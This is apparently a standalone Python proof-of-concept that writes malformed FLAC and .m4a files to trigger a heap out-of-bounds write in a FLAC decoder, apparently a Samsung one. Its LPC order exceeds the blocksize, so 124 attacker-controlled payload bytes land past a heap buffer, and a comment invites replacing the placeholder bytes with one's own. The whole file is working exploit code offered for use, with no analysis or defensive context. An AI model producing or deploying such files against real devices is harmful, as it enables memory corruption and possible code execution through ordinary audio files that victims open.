#!/usr/bin/env python3
import struct, os

HERE = os.path.dirname(os.path.abspath(__file__))
FLAC_OUT = os.path.join(HERE, "trigger32.flac")
M4A_OUT  = os.path.join(HERE, "trigger32.m4a")

BLOCKSIZE   = 1        # frame block size -> per-channel buffer = 4*BLOCKSIZE bytes
LPC_ORDER   = 32       # 1..32 ; total warmup writes = LPC_ORDER 32-bit words
BPS         = 32       # bits per sample ; 32 => byte-exact control of every OOB word
SAMPLE_RATE = 44100

# The out-of-bounds bytes, in heap order: PAYLOAD[i] -> buffer + 4*BLOCKSIZE + i.
OOB_WORDS = LPC_ORDER - BLOCKSIZE                 # 31 words spill
PAYLOAD   = b"\x41" * (OOB_WORDS * 4)             # 124 bytes; replace with your bytes

# frame sample-size code for a given depth (0 = inherit bps from STREAMINFO).
# Samsung table: 1->8 2->12 4->16 5->20 6->24 ; codes 3 and 7 are reserved (0xFF).
SS_CODE = {8: 1, 12: 2, 16: 4, 20: 5, 24: 6, 32: 0}[BPS]

assert 1 <= LPC_ORDER <= 32
assert 1 <= BLOCKSIZE < LPC_ORDER, "need order > blocksize for the overflow"
assert len(PAYLOAD) <= OOB_WORDS * 4, "payload longer than the OOB region"


def crc8(data):                                  # FLAC frame-header CRC-8, poly 0x07, init 0
    c = 0
    for b in data:
        c ^= b
        for _ in range(8):
            c = ((c << 1) ^ 0x07) & 0xFF if (c & 0x80) else (c << 1) & 0xFF
    return c


class BitWriter:
    def __init__(s): s.acc = 0; s.n = 0; s.out = bytearray()
    def put(s, val, bits):
        s.acc = (s.acc << bits) | (val & ((1 << bits) - 1)); s.n += bits
        while s.n >= 8:
            s.n -= 8; s.out.append((s.acc >> s.n) & 0xFF)
    def bytes(s):
        if s.n:                                  # pad the final partial byte with zeros
            s.out.append((s.acc << (8 - s.n)) & 0xFF); s.n = 0
        return bytes(s.out)


def build_streaminfo():
    si = bytearray(34)
    struct.pack_into(">H", si, 0, BLOCKSIZE)     # min blocksize
    struct.pack_into(">H", si, 2, BLOCKSIZE)     # max blocksize -> sizes 4*BLOCKSIZE buffer
    # bytes 4..9  = min/max framesize -> left 0 (unknown)
    packed = ((SAMPLE_RATE & 0xFFFFF) << 44) | (0 << 41) | ((BPS - 1) << 36) | 0
    #        sample_rate(20)          channels-1(3)=0   bps-1(5)=31     total_samples(36)=0
    struct.pack_into(">Q", si, 10, packed)
    # bytes 18..33 = MD5 -> left 0 (unset, accepted)
    return bytes(si)


def build_frame():
    # frame header (fixed blocksize):
    #   FF F8      = 14-bit sync 0x3FFE + reserved 0 + blocking strategy 0
    #   69         = block-size code 6 (8-bit blocksize-1 follows) | sample-rate code 9 (44.1k)
    #   SS<<1      = channel assignment 0 (mono) | sample-size code SS_CODE | reserved 0
    #   00         = coded frame number 0 (UTF-8)
    #   bs-1       = blocksize - 1
    #   crc8       = CRC-8 over the above
    hdr = bytearray([0xFF, 0xF8, 0x69, (SS_CODE & 0x07) << 1, 0x00, (BLOCKSIZE - 1) & 0xFF])
    hdr.append(crc8(hdr))

    bw = BitWriter()
    sf_type = 0x20 | (LPC_ORDER - 1)             # LPC | (order-1) ; order 32 -> 0x3F
    bw.put(sf_type << 1, 8)                       # subframe header (pad|type|wasted=0) -> 0x7E

    # warmup: BLOCKSIZE in-bounds words, then OOB_WORDS payload words. Each read MSB-first
    # at BPS bits and stored native-endian -> PAYLOAD bytes reappear in heap order.
    for _ in range(BLOCKSIZE):
        bw.put(0, BPS)                            # in-bounds word(s): overwritten legitimately
    pad = PAYLOAD.ljust(OOB_WORDS * 4, b"\x00")
    for i in range(OOB_WORDS):
        word = int.from_bytes(pad[i * 4:i * 4 + 4], "little")
        bw.put(word, BPS)                         # OOB word i -> heap buffer + 4*BLOCKSIZE + 4*i

    body = bw.bytes()
    body += b"\x00" * 32                          # slack for post-warmup parse (never load-bearing;
    return bytes(hdr) + body                      #   the heap is already corrupted by the warmup loop)


STREAMINFO = build_streaminfo()
FRAME = build_frame()

# ---- raw .flac -------------------------------------------------------------
flac = bytearray(b"fLaC")
flac += bytes([0x80, 0x00, 0x00, 0x22]) + STREAMINFO   # last-metadata STREAMINFO, length 34
flac += FRAME
open(FLAC_OUT, "wb").write(flac)

# ---- FLAC-in-MP4 (.m4a): dfLa carries the sub-16 STREAMINFO, one sample = the frame ----
def box(typ, *p):  d = b"".join(p); return struct.pack(">I", 8 + len(d)) + typ + d
def full(typ, ver, fl, *p): return box(typ, struct.pack(">I", (ver << 24) | fl), *p)

dfla  = full(b"dfLa", 0, 0, bytes([0x80, 0, 0, 34]) + STREAMINFO)
audio = box(b"fLaC", b"\x00" * 6, struct.pack(">H", 1), b"\x00" * 8,
            struct.pack(">H", 1), struct.pack(">H", 16),          # channels, samplesize (dfLa is authoritative)
            struct.pack(">H", 0), struct.pack(">H", 0),
            struct.pack(">I", SAMPLE_RATE << 16), dfla)
stsd = full(b"stsd", 0, 0, struct.pack(">I", 1), audio)
stts = full(b"stts", 0, 0, struct.pack(">I", 1), struct.pack(">II", 1, SAMPLE_RATE))
stsc = full(b"stsc", 0, 0, struct.pack(">I", 1), struct.pack(">III", 1, 1, 1))
stsz = full(b"stsz", 0, 0, struct.pack(">I", 0), struct.pack(">I", 1), struct.pack(">I", len(FRAME)))
def stco(off): return full(b"stco", 0, 0, struct.pack(">I", 1), struct.pack(">I", off))

def build_mp4(off):
    stbl = box(b"stbl", stsd, stts, stsc, stsz, stco(off))
    dinf = box(b"dinf", full(b"dref", 0, 0, struct.pack(">I", 1), full(b"url ", 0, 1)))
    minf = box(b"minf", full(b"smhd", 0, 0, struct.pack(">H", 0), struct.pack(">H", 0)), dinf, stbl)
    hdlr = full(b"hdlr", 0, 0, struct.pack(">I", 0), b"soun", b"\x00" * 12, b"poc\x00")
    mdhd = full(b"mdhd", 0, 0, struct.pack(">IIII", 0, 0, SAMPLE_RATE, SAMPLE_RATE),
                struct.pack(">H", 0x55C4), struct.pack(">H", 0))
    mdia = box(b"mdia", mdhd, hdlr, minf)
    mtx = struct.pack(">9i", 0x10000, 0, 0, 0, 0x10000, 0, 0, 0, 0x40000000)
    tkhd = full(b"tkhd", 0, 7, struct.pack(">IIII", 0, 0, 1, 0), struct.pack(">I", SAMPLE_RATE),
                b"\x00" * 8, struct.pack(">HHHH", 0, 0, 0, 0), mtx, struct.pack(">II", 0, 0))
    trak = box(b"trak", tkhd, mdia)
    mvhd = full(b"mvhd", 0, 0, struct.pack(">IIII", 0, 0, SAMPLE_RATE, SAMPLE_RATE),
                struct.pack(">I", 0x10000), struct.pack(">H", 0x100), b"\x00" * 10,
                mtx, b"\x00" * 24, struct.pack(">I", 2))
    moov = box(b"moov", mvhd, trak)
    ftyp = box(b"ftyp", b"isom", struct.pack(">I", 0x200), b"isom", b"iso2", b"mp41")
    return ftyp, moov

ftyp, moov = build_mp4(0)
mdat_off = len(ftyp) + len(moov) + 8              # +8 = mdat box header
ftyp, moov = build_mp4(mdat_off)                  # two-pass so stco points at the sample
assert len(ftyp) + len(moov) + 8 == mdat_off
m4a = ftyp + moov + box(b"mdat", FRAME)
open(M4A_OUT, "wb").write(m4a)

print(f"[*] bits_per_sample={BPS}  blocksize={BLOCKSIZE}  lpc_order={LPC_ORDER}")
print(f"[*] OOB write  = {OOB_WORDS * 4} bytes ({OOB_WORDS} words) at buffer+{4*BLOCKSIZE}..buffer+{4*BLOCKSIZE + OOB_WORDS*4}")
print(f"[*] payload    = {len(PAYLOAD)} bytes, PAYLOAD[i] -> heap buffer+{4*BLOCKSIZE}+i")
print(f"[*] frame      = {len(FRAME)} bytes ; STREAMINFO bps={BPS}, frame sample-size code={SS_CODE}")
print(f"[*] wrote {os.path.basename(FLAC_OUT)} ({len(flac)} B)  and  {os.path.basename(M4A_OUT)} ({len(m4a)} B; mdat@{mdat_off})")
